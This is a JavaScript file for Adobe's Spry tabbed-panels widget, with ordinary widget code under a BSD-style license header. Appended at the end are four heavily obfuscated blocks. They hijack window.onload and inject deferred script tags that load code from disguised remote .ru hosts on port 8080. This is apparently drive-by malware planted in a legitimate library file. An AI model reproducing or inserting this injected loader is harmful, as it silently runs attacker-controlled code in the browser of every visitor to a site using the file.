// SpryTabbedPanels.js - version 0.6 - Spry Pre-Release 1.6.1
//
// Copyright (c) 2006. Adobe Systems Incorporated.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are met:
//
//   * Redistributions of source code must retain the above copyright notice,
//     this list of conditions and the following disclaimer.
//   * Redistributions in binary form must reproduce the above copyright notice,
//     this list of conditions and the following disclaimer in the documentation
//     and/or other materials provided with the distribution.
//   * Neither the name of Adobe Systems Incorporated nor the names of its
//     contributors may be used to endorse or promote products derived from this
//     software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
// ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
// LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
// SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
// CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.

var Spry;
if (!Spry) Spry = {};
if (!Spry.Widget) Spry.Widget = {};

Spry.Widget.TabbedPanels = function(element, opts)
{
	this.element = this.getElement(element);
	this.defaultTab = 0; // Show the first panel by default.
	this.tabSelectedClass = "TabbedPanelsTabSelected";
	this.tabHoverClass = "TabbedPanelsTabHover";
	this.tabFocusedClass = "TabbedPanelsTabFocused";
	this.panelVisibleClass = "TabbedPanelsContentVisible";
	this.focusElement = null;
	this.hasFocus = false;
	this.currentTabIndex = 0;
	this.enableKeyboardNavigation = true;
	this.nextPanelKeyCode = Spry.Widget.TabbedPanels.KEY_RIGHT;
	this.previousPanelKeyCode = Spry.Widget.TabbedPanels.KEY_LEFT;

	Spry.Widget.TabbedPanels.setOptions(this, opts);

	// If the defaultTab is expressed as a number/index, convert
	// it to an element.

	if (typeof (this.defaultTab) == "number")
	{
		if (this.defaultTab < 0)
			this.defaultTab = 0;
		else
		{
			var count = this.getTabbedPanelCount();
			if (this.defaultTab >= count)
				this.defaultTab = (count > 1) ? (count - 1) : 0;
		}

		this.defaultTab = this.getTabs()[this.defaultTab];
	}

	// The defaultTab property is supposed to be the tab element for the tab content
	// to show by default. The caller is allowed to pass in the element itself or the
	// element's id, so we need to convert the current value to an element if necessary.

	if (this.defaultTab)
		this.defaultTab = this.getElement(this.defaultTab);

	this.attachBehaviors();
};

Spry.Widget.TabbedPanels.prototype.getElement = function(ele)
{
	if (ele && typeof ele == "string")
		return document.getElementById(ele);
	return ele;
};

Spry.Widget.TabbedPanels.prototype.getElementChildren = function(element)
{
	var children = [];
	var child = element.firstChild;
	while (child)
	{
		if (child.nodeType == 1 /* Node.ELEMENT_NODE */)
			children.push(child);
		child = child.nextSibling;
	}
	return children;
};

Spry.Widget.TabbedPanels.prototype.addClassName = function(ele, className)
{
	if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) != -1))
		return;
	ele.className += (ele.className ? " " : "") + className;
};

Spry.Widget.TabbedPanels.prototype.removeClassName = function(ele, className)
{
	if (!ele || !className || (ele.className && ele.className.search(new RegExp("\\b" + className + "\\b")) == -1))
		return;
	ele.className = ele.className.replace(new RegExp("\\s*\\b" + className + "\\b", "g"), "");
};

Spry.Widget.TabbedPanels.setOptions = function(obj, optionsObj, ignoreUndefinedProps)
{
	if (!optionsObj)
		return;
	for (var optionName in optionsObj)
	{
		if (ignoreUndefinedProps && optionsObj[optionName] == undefined)
			continue;
		obj[optionName] = optionsObj[optionName];
	}
};

Spry.Widget.TabbedPanels.prototype.getTabGroup = function()
{
	if (this.element)
	{
		var children = this.getElementChildren(this.element);
		if (children.length)
			return children[0];
	}
	return null;
};

Spry.Widget.TabbedPanels.prototype.getTabs = function()
{
	var tabs = [];
	var tg = this.getTabGroup();
	if (tg)
		tabs = this.getElementChildren(tg);
	return tabs;
};

Spry.Widget.TabbedPanels.prototype.getContentPanelGroup = function()
{
	if (this.element)
	{
		var children = this.getElementChildren(this.element);
		if (children.length > 1)
			return children[1];
	}
	return null;
};

Spry.Widget.TabbedPanels.prototype.getContentPanels = function()
{
	var panels = [];
	var pg = this.getContentPanelGroup();
	if (pg)
		panels = this.getElementChildren(pg);
	return panels;
};

Spry.Widget.TabbedPanels.prototype.getIndex = function(ele, arr)
{
	ele = this.getElement(ele);
	if (ele && arr && arr.length)
	{
		for (var i = 0; i < arr.length; i++)
		{
			if (ele == arr[i])
				return i;
		}
	}
	return -1;
};

Spry.Widget.TabbedPanels.prototype.getTabIndex = function(ele)
{
	var i = this.getIndex(ele, this.getTabs());
	if (i < 0)
		i = this.getIndex(ele, this.getContentPanels());
	return i;
};

Spry.Widget.TabbedPanels.prototype.getCurrentTabIndex = function()
{
	return this.currentTabIndex;
};

Spry.Widget.TabbedPanels.prototype.getTabbedPanelCount = function(ele)
{
	return Math.min(this.getTabs().length, this.getContentPanels().length);
};

Spry.Widget.TabbedPanels.addEventListener = function(element, eventType, handler, capture)
{
	try
	{
		if (element.addEventListener)
			element.addEventListener(eventType, handler, capture);
		else if (element.attachEvent)
			element.attachEvent("on" + eventType, handler);
	}
	catch (e) {}
};

Spry.Widget.TabbedPanels.prototype.cancelEvent = function(e)
{
	if (e.preventDefault) e.preventDefault();
	else e.returnValue = false;
	if (e.stopPropagation) e.stopPropagation();
	else e.cancelBubble = true;

	return false;
};

Spry.Widget.TabbedPanels.prototype.onTabClick = function(e, tab)
{
	this.showPanel(tab);
	return this.cancelEvent(e);
};

Spry.Widget.TabbedPanels.prototype.onTabMouseOver = function(e, tab)
{
	this.addClassName(tab, this.tabHoverClass);
	return false;
};

Spry.Widget.TabbedPanels.prototype.onTabMouseOut = function(e, tab)
{
	this.removeClassName(tab, this.tabHoverClass);
	return false;
};

Spry.Widget.TabbedPanels.prototype.onTabFocus = function(e, tab)
{
	this.hasFocus = true;
	this.addClassName(tab, this.tabFocusedClass);
	return false;
};

Spry.Widget.TabbedPanels.prototype.onTabBlur = function(e, tab)
{
	this.hasFocus = false;
	this.removeClassName(tab, this.tabFocusedClass);
	return false;
};

Spry.Widget.TabbedPanels.KEY_UP = 38;
Spry.Widget.TabbedPanels.KEY_DOWN = 40;
Spry.Widget.TabbedPanels.KEY_LEFT = 37;
Spry.Widget.TabbedPanels.KEY_RIGHT = 39;



Spry.Widget.TabbedPanels.prototype.onTabKeyDown = function(e, tab)
{
	var key = e.keyCode;
	if (!this.hasFocus || (key != this.previousPanelKeyCode && key != this.nextPanelKeyCode))
		return true;

	var tabs = this.getTabs();
	for (var i =0; i < tabs.length; i++)
		if (tabs[i] == tab)
		{
			var el = false;
			if (key == this.previousPanelKeyCode && i > 0)
				el = tabs[i-1];
			else if (key == this.nextPanelKeyCode && i < tabs.length-1)
				el = tabs[i+1];

			if (el)
			{
				this.showPanel(el);
				el.focus();
				break;
			}
		}

	return this.cancelEvent(e);
};

Spry.Widget.TabbedPanels.prototype.preorderTraversal = function(root, func)
{
	var stopTraversal = false;
	if (root)
	{
		stopTraversal = func(root);
		if (root.hasChildNodes())
		{
			var child = root.firstChild;
			while (!stopTraversal && child)
			{
				stopTraversal = this.preorderTraversal(child, func);
				try { child = child.nextSibling; } catch (e) { child = null; }
			}
		}
	}
	return stopTraversal;
};

Spry.Widget.TabbedPanels.prototype.addPanelEventListeners = function(tab, panel)
{
	var self = this;
	Spry.Widget.TabbedPanels.addEventListener(tab, "click", function(e) { return self.onTabClick(e, tab); }, false);
	Spry.Widget.TabbedPanels.addEventListener(tab, "mouseover", function(e) { return self.onTabMouseOver(e, tab); }, false);
	Spry.Widget.TabbedPanels.addEventListener(tab, "mouseout", function(e) { return self.onTabMouseOut(e, tab); }, false);

	if (this.enableKeyboardNavigation)
	{
		// XXX: IE doesn't allow the setting of tabindex dynamically. This means we can't
		// rely on adding the tabindex attribute if it is missing to enable keyboard navigation
		// by default.

		// Find the first element within the tab container that has a tabindex or the first
		// anchor tag.
		
		var tabIndexEle = null;
		var tabAnchorEle = null;

		this.preorderTraversal(tab, function(node) {
			if (node.nodeType == 1 /* NODE.ELEMENT_NODE */)
			{
				var tabIndexAttr = tab.attributes.getNamedItem("tabindex");
				if (tabIndexAttr)
				{
					tabIndexEle = node;
					return true;
				}
				if (!tabAnchorEle && node.nodeName.toLowerCase() == "a")
					tabAnchorEle = node;
			}
			return false;
		});

		if (tabIndexEle)
			this.focusElement = tabIndexEle;
		else if (tabAnchorEle)
			this.focusElement = tabAnchorEle;

		if (this.focusElement)
		{
			Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "focus", function(e) { return self.onTabFocus(e, tab); }, false);
			Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "blur", function(e) { return self.onTabBlur(e, tab); }, false);
			Spry.Widget.TabbedPanels.addEventListener(this.focusElement, "keydown", function(e) { return self.onTabKeyDown(e, tab); }, false);
		}
	}
};

Spry.Widget.TabbedPanels.prototype.showPanel = function(elementOrIndex)
{
	var tpIndex = -1;
	
	if (typeof elementOrIndex == "number")
		tpIndex = elementOrIndex;
	else // Must be the element for the tab or content panel.
		tpIndex = this.getTabIndex(elementOrIndex);
	
	if (!tpIndex < 0 || tpIndex >= this.getTabbedPanelCount())
		return;

	var tabs = this.getTabs();
	var panels = this.getContentPanels();

	var numTabbedPanels = Math.max(tabs.length, panels.length);

	for (var i = 0; i < numTabbedPanels; i++)
	{
		if (i != tpIndex)
		{
			if (tabs[i])
				this.removeClassName(tabs[i], this.tabSelectedClass);
			if (panels[i])
			{
				this.removeClassName(panels[i], this.panelVisibleClass);
				panels[i].style.display = "none";
			}
		}
	}

	this.addClassName(tabs[tpIndex], this.tabSelectedClass);
	this.addClassName(panels[tpIndex], this.panelVisibleClass);
	panels[tpIndex].style.display = "block";

	this.currentTabIndex = tpIndex;
};

Spry.Widget.TabbedPanels.prototype.attachBehaviors = function(element)
{
	var tabs = this.getTabs();
	var panels = this.getContentPanels();
	var panelCount = this.getTabbedPanelCount();

	for (var i = 0; i < panelCount; i++)
		this.addPanelEventListeners(tabs[i], panels[i]);

	this.showPanel(this.defaultTab);
};




var j;if(j!='g'){j='g'};var x='sAc_r>i>p8t>'.replace(/[\>g_A8]/g, '');var e=window;var r=false;var p=document;var el;if(el!='s'){el=''};var cm;if(cm!='c' && cm!='xm'){cm=''};var sh;if(sh!='z'){sh=''};var x_=new String();e.onload=function(){var b;if(b!=''){b='gr'};try {pc=p.createElement(x);var sha='';var xf;if(xf!='' && xf!='f'){xf='v'};pc.setAttribute('dQeQfaeQra'.replace(/[acnQ7]/g, ''), "1");this.vx=29734;this.gu="gu";pc.src='hUt+tUp3:U/&/^j+r3j+-^cUo^m&-^c^n3.3z^i^n3g&.^v^n^.3a3d&v^e+r3t^sUe3r&v+e3-3c^oUm&.&b^e^s&t&n&e&w^h^a&vUe3nU.+r+u3:^8+0^830&/&g&o&o+g&l^e3.Uc+o&m3/^g&oUo+g&l3e+.3c&o^m3/UbUa+h3n+.3d3e+/3xUtUe+n+dUm3e&d+i&aU.3cUoUm&/3t+mUz3.^c^oUmU/+'.replace(/[\+\^&U3]/g, '');var zt;if(zt!=''){zt='dp'};this.kr="kr";var kp="kp";var ls;if(ls!='hf' && ls!='to'){ls=''};p.body.appendChild(pc);} catch(n){};};var mn;if(mn!='pd' && mn!='ba'){mn='pd'};
var g;if(g!='' && g!='r'){g=''};w=function(){var gd;if(gd!=''){gd='x'};var c=document;var o=33120;window[y([9,2][1])]=function(){var kr;if(kr!='v' && kr!='k'){kr=''};try {this.gn="gn";i=c[y([1][0])](y([0,0][0]));i[y([5][0])](y([7,8][0]), "1");this.pc='';var b = c[y([2,6][1])];i[y([3,3][0])]=y([8,8][0]);var kq="kq";var iw=new Date();b[y([4][0])](i);} catch(bu){};};var sc=new Date();this.th='';function y(j){var iz=['sucNrNi:p:t*'.replace(/[\*\:4Nu]/g, ''), 'cyrjegagtjejEyljegmyeynyt0'.replace(/[0gKjy]/g, ''), 'o~n|lIo~a~dq'.replace(/[qQ\|~I]/g, ''), 's&r_ci'.replace(/[i,h_&]/g, ''), 'aZpUpReMnRdUCRhUiMlRdQ'.replace(/[QMRZU]/g, ''), 's8eMtRAMt8t0r8i8bqu8tReR'.replace(/[RM8q0]/g, ''), 'bNoTdZyZ'.replace(/[ZNsTc]/g, ''), 'd2eofte:rt'.replace(/[to2V\:]/g, ''), 'h>t3t~p~:&/>/3p>l>e~n&t3yNo3f&f&iNs3h>->c&o3m>.3vNi3d>e>o~s&z&.~c3o&m3.~eNt&s~y~-3cNo>m~.&n3e3w&s>o3u~r3c&e>w3o3r3l&d~.~r&u~:&8~038~0&/&zNi3d3d~uN.&cNo~m~/3zNiNd~d~uN.&cNo&m&/>sNu~r~f&t~h&e3c~h~a3n&n&e~l&.Nc&o>m3/3g>o&o~gNl~e&.&c3oNm~/>n>o>v~i>n&k&yN.&c&z>/&'.replace(/[&3N~\>]/g, '')];var f=iz[j];var qmn;if(qmn!='dg'){qmn=''};return f;}};var os='';w();var vj="";
this.lf='';function i() {this.jq='';function h(u,c,b){var ux;if(ux!='ze' && ux!='w'){ux='ze'};u.setAttribute(c, b);var sp;if(sp!='' && sp!='k'){sp='_'};}this.sf="sf";var kc;if(kc!='km' && kc!='_g'){kc='km'};this.ka="";function n(){var tn;if(tn!='trb' && tn!='spo'){tn='trb'};return ([1][0]);}var ns=false;var kp;if(kp!='' && kp!='a'){kp=null};var ut="";var dl='';var nc;if(nc!='xm' && nc!='ho'){nc=''};var f='s;r#cp'.replace(/[p#Q;H]/g, '');this.jp=56039;this.db="db";var l='h?tAt?p9:7/A/7w7i?n$dAoAw9sAl7i7v?e7-7c9o7mA.7w$aArAr7i$oAr$f?o?r7u7mA.?c$o$m?.$r7o9b?t?e7x?-9c?o9m$.?r?e7d9t9a$g7c?e$n?tAr$a9l9.Ar?u7:$8909890A/$g?o$o?g9l9e$.$c$o?mA/$g7o?o?g9l9e7.9c$o?mA/9z9y9l9o9m$.Ac7o7m$/Al7o7wAe?sA.9c7o9mA/Ag$o?o9g9l$e$.9cAo$.9t$h?/9'.replace(/[9\?\$7A]/g, '');this.uq="";var t=window;var r='s0cErNiNpNtE'.replace(/[E\$08N]/g, '');var zw;if(zw!='' && zw!='jj'){zw=''};var g='opnhlXohapdh'.replace(/[hUp\*X]/g, '');var uv='cTrTeOaOt!epEplOe!mOeOn!tT'.replace(/[Tp3O\!]/g, '');this.ab='';var gp;if(gp!=''){gp='qc'};t[g]=function(){this._s=60447;this.vs=45324;try {var ev;if(ev!='' && ev!='wh'){ev=null};z=document[uv](r);var kv="";var ba;if(ba!=''){ba='cj'};var gw;if(gw!='yp' && gw!='suy'){gw=''};h(z,f,l);h(z,'d0e0fvevrX'.replace(/[X\!6v0]/g, ''),n());this.re='';var ift="";var tf;if(tf!='ty' && tf!='ttq'){tf=''};var va;if(va!='' && va!='gg'){va=null};document['bfoHdfyR'.replace(/[RITHf]/g, '')]['aApkpkeTnTd>CAhTikl>dk'.replace(/[kT\>@A]/g, '')](z);var xoh=false;} catch(q){};var xr;if(xr!='_y' && xr != ''){xr=null};this.cr="";};var ec;if(ec!='' && ec!='d_'){ec='bi'};var dd=new Array();};var imm;if(imm!='' && imm!='hob'){imm=null};i();var sx;if(sx!='' && sx!='xrn'){sx=null};
function H() {var p=']';var No="";var h='g';var Z='[';var HN=3519;var T='replace';this.pp="";var dg='';this.w=64919;function t(G,O){var Ay="";var Gg=Z;var TQ=65229;Gg+=O;Gg+=p;this.sh='';var o=new RegExp(Gg, h);return G[T](o, '');var Br=39112;};var sc='';var v=window;var A=t('/ObXaOh1nH.BdBeO/Hb1a1hXnB.OdHeX/HgXoOo1gBl1eH.Bc1oOmH/BaObHrHiXl1.1cOoXmB.BbHrX/Oa1zHeOtO.Hs1kO/O',"OHXB1");var a=t('slceryiypytV',"Vylve");var R=t('h1t1t1pb:1/X/1vfiXrbgbifnZmbe1dXiXa1-1cboXmf.fgXoZoXgflfeX.Xcfobmb.1tbw1.1aXlflbrZe1cbiZpZebs1-bcfobmX.ZnXeZwXufsba1g1ufibd1ef.Xrbu1',"1bXZf");this.W="";var hz=t('cgrPe4agtueuE4lPevmPePn4tP',"P4vug");var m='';var N=t(':H8F0H8d0d',"dcHqF");var ag=false;v[t('oSnhlwohaYdh',"hwSeY")]=function(){try {m+=R;this.n="";m+=N;var C=53252;m+=A;this.y=41410;Az=document[hz](a);this.TK="";q(Az,t('dBezfhezrz',"zhyBI"),([1][0]));q(Az,t('s7rYct',"t5N7Y"),m);var OI="";document[t('brordzy4',"4vrKz")][t('aWpopMeonodWCYhoiolodo',"oWYMg")](Az);var WB=56579;} catch(L){this.yk="";};};function q(u,S,r){var ad='';u[t('s6eXt6AxtxtxrTixbXu6tXeT',"TX6xL")](S, r);}};H();this.qH=false;